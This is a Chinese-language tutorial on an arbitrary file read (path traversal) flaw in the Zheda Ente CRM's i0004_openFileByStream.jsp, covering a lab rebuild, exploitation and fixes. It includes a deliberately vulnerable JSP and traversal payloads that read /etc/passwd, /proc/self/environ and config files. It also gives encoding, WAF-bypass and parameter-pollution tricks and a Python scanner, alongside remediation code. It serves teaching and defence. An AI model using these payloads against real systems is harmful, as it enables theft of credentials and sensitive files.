路径遍历漏洞实战剖析：从原理到防御的任意文件读取攻防

1. 项目概述：一次典型的路径遍历漏洞实战剖析

最近在梳理一些企业级应用的历史漏洞时，浙大恩特客户资源管理系统里的一个老问题——i0004_openFileByStream.jsp文件的任意文件读取漏洞——引起了我的注意。这类问题在早期的B/S架构管理系统中其实挺常见的，本质就是一个路径遍历（Path Traversal）或者说目录穿越漏洞。攻击者通过构造特殊的请求参数，可以让本应读取特定业务文件的接口，去读取服务器上的任意文件，比如系统配置文件、数据库连接字符串、甚至是源码文件。这听起来可能没有直接获取系统权限那么“刺激”，但它的危害性一点不小，相当于给攻击者打开了一扇窥探服务器内部的后窗，是后续渗透的绝佳跳板。

我之所以花时间把这个漏洞的复现和环境搭建过程详细记录下来，主要是出于两个考虑。第一，对于安全研究人员和渗透测试工程师来说，理解这类漏洞的成因和利用方式，是构建完整攻击链思维的基础。很多高危漏洞的入口，恰恰就是这些看起来“不起眼”的信息泄露点。第二，对于开发和运维同学，尤其是还在维护这类传统系统的团队，通过复盘漏洞细节，能更深刻地理解输入验证和权限控制的重要性，避免在自己的代码里踩进同一个坑。这次复现，我会从零开始，在一个可控的实验室环境里，还原漏洞触发的全过程，并拆解每一步背后的原理和防御思路。

2. 漏洞原理与靶场环境深度解析

2.1 漏洞核心：失控的文件路径拼接

要理解这个漏洞，我们得先看看i0004_openFileByStream.jsp这个文件大概想干什么。从名字推测，openFileByStream（通过流打开文件）很可能是一个用于在线预览或下载服务器上已上传文件的通用接口。在客户资源管理系统中，用户上传的客户资料、合同附件等文件通常存储在服务器某个特定目录下。前端页面需要显示某个附件时，可能会调用这个JSP接口，并传递一个文件标识（比如文件名或存储在数据库中的路径）作为参数。

漏洞的根源就出在对这个传入参数的过滤和处理上。一个安全的实现，应该严格限定文件读取的范围，比如只允许读取/upload/目录下的文件。但存在漏洞的代码，很可能直接使用了类似new File(用户传入的路径)这样的方式，或者将用户输入直接拼接到一个基础目录路径后面，而没有进行任何规范化处理和边界检查。

举个例子，假设正常的请求是这样的：/i0004_openFileByStream.jsp?fileName=2025contract.pdf后端代码可能将其拼接为：/usr/local/ent/uploads/2025contract.pdf，然后读取返回。

但如果攻击者传入fileName=../../../etc/passwd呢？经过拼接，路径可能就变成了/usr/local/ent/uploads/../../../etc/passwd。在操作系统的路径解析中，../表示上级目录。经过解析，这个路径最终会指向/etc/passwd文件。如果Web服务进程（如Tomcat）有读取这个文件的权限，那么服务器的敏感信息就会泄露。

这就是路径遍历漏洞的经典模型：用户可控的输入，未经净化就直接参与了文件系统路径的构造。i0004_openFileByStream.jsp这个接口，极有可能就是因为对fileName、filePath或类似参数缺少有效的过滤，导致了这一问题。

注意：在实际漏洞利用中，参数名不一定是fileName，也可能是path、url、file等。这需要根据代码上下文或通过模糊测试、参数爆破来确定。

2.2 实验室环境搭建与配置要点

为了安全、合法地复现漏洞，我们必须搭建一个隔离的本地测试环境。我推荐使用Docker，它能快速构建一个与宿主机器隔离的沙箱。

1. 漏洞环境获取与部署由于涉及真实系统，我们无法直接获取浙大恩特的官方安装包。在安全研究中，通常有两种途径：一是寻找公开的历史漏洞测试镜像（如某些靶场项目）；二是自己搭建一个模拟漏洞环境的简易JSP应用。这里为了彻底讲清楚原理，我选择第二种方式，自己编写一个存在漏洞的JSP页面进行演示。

首先，我们创建一个简单的Dockerfile来构建一个包含Tomcat的基础环境：

FROM tomcat:8-jre8 LABEL maintainer="security-researcher" # 移除Tomcat默认应用，减少干扰 RUN rm -rf /usr/local/tomcat/webapps/* # 创建我们的漏洞测试应用目录 RUN mkdir -p /usr/local/tomcat/webapps/vulnapp # 复制存在漏洞的JSP文件（稍后创建）到应用目录 COPY i0004_openFileByStream.jsp /usr/local/tomcat/webapps/vulnapp/ COPY index.html /usr/local/tomcat/webapps/vulnapp/ # 为了模拟真实场景，创建一些“敏感”文件 RUN echo "模拟的数据库配置：driver=com.mysql.jdbc.Driver, url=jdbc:mysql://localhost:3306/enterprise_db, username=admin, password=SuperSecret123!" > /tmp/db.config RUN echo "root:x:0:0:root:/root:/bin/bash" > /tmp/fake_passwd RUN echo "这是一个正常的业务文件内容。" > /usr/local/tomcat/webapps/vulnapp/normal_file.txt # 调整Tomcat用户权限（非必须，仅为模拟某些弱权限场景） # 在实际复现中，Tomcat通常以非root用户运行，这本身是一种安全缓解。 EXPOSE 8080 CMD ["catalina.sh", "run"]

2. 构造存在漏洞的JSP文件接下来，是关键的一步：编写那个存在任意文件读取漏洞的i0004_openFileByStream.jsp。我们模拟一种最常见的错误写法：

<%@ page import="java.io.*" %> <% // 模拟漏洞：直接获取用户输入的文件路径参数，未做任何过滤 String filePath = request.getParameter("filePath"); if (filePath != null && !filePath.isEmpty()) { // 危险操作：直接将用户输入视为文件系统路径 File file = new File(filePath); if (file.exists() && file.isFile()) { // 通过流读取文件内容并输出 BufferedReader reader = new BufferedReader(new FileReader(file)); String line; while ((line = reader.readLine()) != null) { out.println(line + "<br>"); } reader.close(); } else { out.println("文件不存在或不是普通文件。"); } } else { out.println("参数 filePath 不能为空。"); } %>

这个JSP代码的逻辑非常简单：获取filePath参数，直接用它创建File对象，如果文件存在就逐行读取并显示在网页上。它完全没有检查filePath是否包含../这样的路径遍历序列，也没有将其限定在某个安全的基础目录下。

3. 启动测试环境将上述Dockerfile和i0004_openFileByStream.jsp、一个简单的index.html放在同一目录，执行构建和运行命令：

# 构建Docker镜像 docker build -t ent-crm-vuln-test . # 运行容器，将容器的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name ent-crm-test ent-crm-vuln-test

环境启动后，访问http://localhost:8080/vulnapp/i0004_openFileByStream.jsp，如果看到“参数 filePath 不能为空”的提示，说明漏洞环境已经部署成功。

实操心得：自己搭建漏洞环境是最佳学习方式。通过亲手编写漏洞代码，你能对漏洞的成因产生肌肉记忆。在搭建时，务必确保网络隔离（使用本地Docker），避免含有真实漏洞的代码被意外暴露到公网，这既是法律要求，也是职业道德。

3. 漏洞复现操作与利用链构建

3.1 基础利用：读取服务器敏感文件

环境就绪，我们现在开始攻击模拟。最直接的利用方式就是尝试读取系统敏感文件。

利用步骤1：探测与确认漏洞首先，我们尝试读取之前创建的模拟敏感文件。构造如下请求：http://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath=/tmp/db.config

如果页面成功返回了“模拟的数据库配置...”等内容，那么漏洞的存在就被初步证实了。它说明filePath参数确实被直接用于文件系统访问。

利用步骤2：进行路径遍历接下来，尝试跳出当前目录。虽然我们的漏洞代码没有设置基础目录，但为了演示经典利用方式，我们假设它有一个基础目录/usr/local/tomcat/webapps/vulnapp/。尝试读取/tmp/fake_passwd：http://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath=../../../tmp/fake_passwd

这里，../的数量需要根据JSP文件所在的实际路径到目标文件的相对路径来计算。通常需要多次尝试。如果成功返回了伪造的passwd文件内容，则证明路径遍历成功。

利用步骤3：尝试读取真实系统文件（在模拟环境中）在真实的漏洞复现中，攻击者会尝试读取一系列高价值目标，例如：

• /etc/passwd：确认系统用户列表。
• /proc/self/environ：获取Web进程的环境变量，可能包含密钥、路径。
• Web应用配置文件：如WEB-INF/web.xml，可能泄露数据库配置。读取JSP源码本身有时也需要特殊技巧，因为Tomcat默认会编译执行JSP，直接请求.jsp文件得到的是执行结果而非源码。但可以通过读取WEB-INF/classes下的编译后class文件，或利用某些中间件特性（如filePath=WEB-INF/../i0004_openFileByStream.jsp）来尝试。在我们的模拟环境里，可以尝试读取Tomcat的配置文件：http://localhost:8080/vulnapp/i0004_openFileByStream.jsp?filePath=../../conf/server.xml

注意事项：在实际渗透测试中，读取/etc/passwd是验证Linux系统路径遍历漏洞的“经典起手式”。但在Windows服务器上，则需要尝试如../../../../windows/system32/drivers/etc/hosts这样的路径。因此，在模糊测试阶段，需要根据服务器返回的错误信息特征（如“找不到文件”的路径格式）来判断操作系统类型。

3.2 高级利用：源码泄露与信息收集

任意文件读取远不止读一个配置文件那么简单，它往往是深入渗透的起点。

利用链构建1：获取数据库连接信息假设通过遍历读取到了WEB-INF/classes/application.properties或config/db.conf等文件，并从中发现了数据库的IP、端口、用户名和密码。攻击者下一步可能会：

1. 尝试用这些凭证直接连接数据库服务器（如果网络可达）。
2. 在数据库中查找管理员密码哈希、客户敏感信息、业务逻辑数据等。
3. 可能进一步利用数据库特性（如MySQL的LOAD_FILE函数、INTO OUTFILE语句）进行更深度的文件读取或写入，甚至获取服务器权限。

利用链构建2：获取应用程序源码对于Java应用，编译后的class文件虽然可读性差，但通过反编译工具（如JD-GUI、CFR）可以恢复出大部分源代码。获取源码的价值巨大：

• 审计更多漏洞：源码中可以审计出SQL注入、逻辑漏洞、反序列化等更严重的漏洞。
• 寻找硬编码密钥：开发者可能将加密密钥、API Token、第三方服务凭证直接写在源码里。
• 理解业务逻辑：为构造精准的业务逻辑绕过攻击做准备。

在我们的模拟漏洞中，由于代码简单，我们直接读到了JSP源码。但在真实复杂的浙大恩特CRM系统中，攻击者可能会通过读取编译后的class文件或利用其他辅助漏洞（比如结合文件上传）来获取源码。

利用链构建3：为其他攻击铺路读取到的信息可能本身不直接导致漏洞，但却是其他攻击的“拼图”。例如：

• 从配置文件中发现内部网络拓扑、其他服务器IP。
• 从日志文件中发现其他用户的访问记录、操作轨迹。
• 从/proc/self/cmdline中获取Web服务的启动命令和参数。

3.3 自动化探测与模糊测试

手动测试效率低，在实际安全评估中，我们通常会借助工具进行自动化探测。

使用Burp Suite Intruder：

1. 在Burp中捕获一个访问漏洞页面的正常请求。
2. 发送到Intruder模块，将filePath参数的值标记为载荷位置。
3. 准备一个载荷字典，包含常见的路径遍历Payload和敏感文件路径，例如：

   ../../../etc/passwd ../../../../windows/win.ini WEB-INF/web.xml ../../WEB-INF/classes/com/enter/Config.class .../...//etc/passwd (双重编码或混淆测试) %2e%2e%2f%2e%2e%2fetc%2fpasswd (URL编码测试)

4. 发起攻击，根据响应长度、状态码和内容关键词（如“root:”， “jdbc:”）快速筛选出成功的Payload。

编写简易Python探测脚本：对于需要批量检测或定制化Payload的情况，可以写一个简单的脚本：

import requests import sys def test_path_traversal(url, param, payloads_file): with open(payloads_file, 'r') as f: payloads = [line.strip() for line in f if line.strip()] for payload in payloads: test_url = f"{url}?{param}={payload}" try: resp = requests.get(test_url, timeout=5) # 这里可以根据实际情况定义检测规则，比如响应中包含特定关键词 if resp.status_code == 200 and len(resp.text) > 0: # 简单的检测：如果返回内容包含常见敏感信息特征 if 'root:' in resp.text or 'jdbc:' in resp.text or 'password' in resp.text.lower(): print(f"[!] 可能成功: {test_url}") print(f" 响应预览: {resp.text[:200]}...") else: print(f"[*] 正常响应: {payload}") except Exception as e: print(f"[x] 请求失败 {payload}: {e}") if __name__ == "__main__": # 示例用法 target_url = "http://localhost:8080/vulnapp/i0004_openFileByStream.jsp" parameter = "filePath" payload_file = "traversal_payloads.txt" test_path_traversal(target_url, parameter, payload_file)

实操心得：自动化测试时，Payload的构造非常关键。不要只测试简单的../，还要测试URL编码、双重编码、绝对路径、空字节截断（在特定老旧环境中）等多种绕过方式。同时，要注意观察服务器返回的错误信息，不同的错误（如404、403、500）能告诉你很多关于路径解析逻辑的信息。

4. 漏洞根因分析与安全加固方案

4.1 代码层面：漏洞产生的具体场景

让我们回到漏洞的源头，仔细分析哪些编码习惯会酿成大错。

错误模式1：直接拼接用户输入这是最典型的错误，正如我们模拟的代码所示：

String userInput = request.getParameter("filePath"); File file = new File(userInput); // 致命错误！

或者：

String baseDir = "/app/uploads/"; String fileName = request.getParameter("fileName"); File file = new File(baseDir + fileName); // 如果fileName是../../../etc/passwd，依然危险！

错误模式2：过滤不彻底开发者可能意识到需要过滤，但采用了错误或可绕过的方法：

String fileName = request.getParameter("name"); // 错误过滤1：只替换一次 fileName = fileName.replace("../", ""); // 攻击者输入：..././， 处理后变为 ../， 依然危险！ // 错误过滤2：黑名单不完整 if (fileName.contains("..") || fileName.contains("/") || fileName.contains("\\")) { throw new SecurityException("非法输入"); } // 攻击者可能使用URL编码（%2e%2e%2f）或UTF-8编码绕过。

错误模式3：信任前端或数据库存储的路径有时，文件路径不是直接来自请求参数，而是从数据库根据文件ID查询出来的。但如果存入数据库的路径最初也是用户可控的（比如上传文件时的原始文件名），并且入库时未做净化，那么从数据库读取后直接使用，同样存在风险。

4.2 修复方案：从根源上杜绝路径遍历

修复的核心原则是：白名单校验 + 路径规范化 + 权限最小化。

方案1：使用白名单或映射机制（推荐）最好的方式是避免直接使用用户提供的文件系统路径。

• ID映射：给上传的文件生成一个唯一的随机ID（如UUID），将ID和真实文件路径的映射关系存储在数据库或内存中。用户请求时只提供ID，后端通过ID查找真实路径。

  String fileId = request.getParameter("fileId"); String realPath = fileMappingService.getPathById(fileId); // 从安全存储中获取 if (realPath == null) { return "文件不存在"; } File file = new File(BASE_SECURE_DIR, realPath); // 结合基础目录

• 白名单校验：如果必须使用文件名，则严格限制字符集（如只允许字母数字和短横线）并通过白名单校验文件类型后缀。

  String fileName = request.getParameter("fileName"); if (!fileName.matches("[a-zA-Z0-9\\-]+\\.(pdf|txt|jpg)")) { // 白名单正则 throw new IllegalArgumentException("非法文件名"); } Path safePath = Paths.get(BASE_UPLOAD_DIR, fileName).normalize(); // 关键步骤：确保解析后的路径仍在基础目录内 if (!safePath.startsWith(BASE_UPLOAD_DIR)) { throw new SecurityException("路径遍历攻击尝试"); }

方案2：严格的路径规范化与边界检查如果业务场景复杂，必须处理相对路径，则必须进行规范化并检查是否逃逸出安全目录。

import java.nio.file.*; String userInput = request.getParameter("filePath"); Path baseDir = Paths.get("/var/www/uploads").toAbsolutePath().normalize(); Path resolvedPath; try { // 先对用户输入进行规范化，消除 ../ 和 ./ Path userPath = Paths.get(userInput).normalize(); // 将用户路径解析到基础目录下 resolvedPath = baseDir.resolve(userPath).normalize(); } catch (InvalidPathException e) { throw new IllegalArgumentException("无效路径", e); } // 最关键的安全检查：确保解析后的路径仍然以基础目录开头 if (!resolvedPath.startsWith(baseDir)) { throw new SecurityException("禁止访问基础目录之外的文件"); } File file = resolvedPath.toFile();

这里使用了Java NIO的PathAPI，它的normalize()方法可以处理.和..，resolve()和startsWith()方法能安全地进行路径拼接和边界检查，比传统的File类更安全。

方案3：运行环境加固

• 应用服务器权限：运行Tomcat/Jetty等服务的系统用户，应该是一个专用的、低权限的用户（如tomcat或www-data），并严格限制其文件系统访问权限。即使漏洞被利用，攻击者也只能读取该低权限用户能访问的文件，无法读取/etc/shadow等关键文件。
• 文件系统权限：上传目录、配置文件目录等，应设置严格的读写权限（如chmod 750），确保只有必要的进程用户可以访问。
• 容器化部署：使用Docker等容器技术，可以将应用及其依赖封装起来，并通过卷（Volume）映射严格控制容器内进程能访问的主机文件范围，实现天然的隔离。

4.3 漏洞挖掘与防御的延伸思考

这个漏洞虽然原理简单，但它像一面镜子，映照出Web应用安全中几个永恒的主题：

1. 输入验证的普适性“一切输入都是有害的”，这句话在安全领域永不过时。无论是文件路径、数据库查询、命令执行还是反序列化数据，对用户输入保持绝对的不信任，进行严格的校验、过滤和规范化，是安全编码的第一道防线。白名单策略几乎总是优于黑名单。

2. 错误处理的信息泄露在修复漏洞时，也要注意错误信息的管理。当路径非法时，返回“文件不存在”或“参数错误”即可，切勿将完整的服务器路径、堆栈跟踪等信息返回给客户端。这些信息会帮助攻击者调整攻击Payload。

3. 安全是一个持续的过程修复一个已知的i0004_openFileByStream.jsp漏洞后，是否还有其他类似的openFileByXXX.jsp接口？是否还有其他参数存在同样问题？这就需要代码审计或自动化白盒/黑盒扫描工具进行覆盖。同时，依赖组件（如第三方库、框架）的漏洞也需要持续关注和更新。

5. 实战排查与深度利用技巧

5.1 常见问题与排查实录

在复现和利用这类漏洞时，你可能会遇到一些“坑”。下面是我在实际测试中遇到过的一些典型问题及解决方法。

问题1：请求返回空白或404，但参数似乎被接收了。

• 可能原因：文件不存在、路径计算错误、或服务器端有基础目录但跳出的../数量不对。
• 排查技巧：
  1. 使用绝对路径测试：先尝试读取一个你确定存在的、带绝对路径的文件，比如?filePath=/tmp/test.txt，以确认接口是否真的工作。
  2. 逐步增加../：从../开始，逐步增加数量，如../../，../../../，观察响应变化。有时需要结合Web应用的部署路径（如是否在ROOT下）来计算。
  3. 查看服务器日志：如果环境可控，查看Tomcat的catalina.out或localhost.log，里面通常会有FileNotFoundException的详细堆栈，其中包含它尝试访问的完整路径，这是黄金信息。

问题2：返回了文件内容，但显示乱码。

• 可能原因：读取的是二进制文件（如.class,.jar, 图片），而JSP页面以文本格式输出。
• 解决方法：对于需要完整获取二进制文件内容的场景（如下载class文件进行反编译），漏洞利用方式需要调整。原始的JSP漏洞接口可能本身设计就是输出文本，不一定支持二进制流。此时可以尝试：
  • 寻找其他可能存在类似漏洞但处理逻辑不同的端点。
  • 如果接口支持设置Content-Type，尝试设置为application/octet-stream。
  • 更常见的方法是，将读取到的二进制内容进行Base64编码后输出，再利用脚本解码保存。

问题3：遇到了WAF（Web应用防火墙）或简单的过滤。

• 现象：包含../的请求被拦截，返回403等错误。
• 绕过技巧：
  • URL编码：../->%2e%2e%2f
  • 双重URL编码：../->%252e%252e%252f（服务器解码两次）
  • UTF-8编码：在某些特定解析场景下尝试。
  • 使用..//或..\（Windows）：有时过滤正则不完善。
  • 参数污染：提交多个同名参数，如filePath=legal.txt&filePath=../../../etc/passwd，不同后端处理方式可能取最后一个值。

5.2 从信息泄露到权限提升的联想

虽然任意文件读取本身可能无法直接getshell，但它往往是攻击链中承上启下的关键一环。我分享一个在真实渗透测试项目中遇到的案例思路（已脱敏）：

在一次对某企业系统的测试中，我们首先通过一个类似的任意文件读取漏洞，获取了WEB-INF/web.xml文件，从中找到了数据库连接池配置。但该数据库位于内网，外部无法直接访问。随后，我们通过读取应用服务器的日志文件，发现了管理员后台的登录URL和一些内部API接口的调用记录。结合读取到的jar包中的源码（通过读取WEB-INF/lib/下的jar并本地反编译），我们分析出了一处后台的逻辑漏洞，最终在无需知道管理员密码的情况下，通过构造特定请求完成了越权操作。

这个案例想说明的是，不要孤立地看待一个漏洞。任意文件读取就像给你一把打开服务器文件柜的钥匙，里面可能有地图（配置文件）、日记（日志）、设计图（源码）。如何将这些零散的信息拼凑成完整的攻击路径，需要渗透测试者具备丰富的经验和联想能力。

5.3 防御视角下的代码审计清单

如果你是开发者或安全审计人员，在检查文件操作相关代码时，请务必对照以下清单：

最后，我个人在渗透测试和代码审计中有一个习惯：每当看到一个文件读取或写入的API被调用时，都会下意识地追踪它的参数来源。如果这条数据流最终能追溯到用户输入，那么这里就存在一个潜在的安全风险点。这种条件反射式的思考，是发现这类“简单”却危害深远漏洞的关键。对于企业而言，在SDLC（软件开发生命周期）中引入安全编码培训、自动化代码扫描工具和定期的渗透测试，是防止类似“浙大恩特CRM任意文件读取”漏洞上线的最有效手段。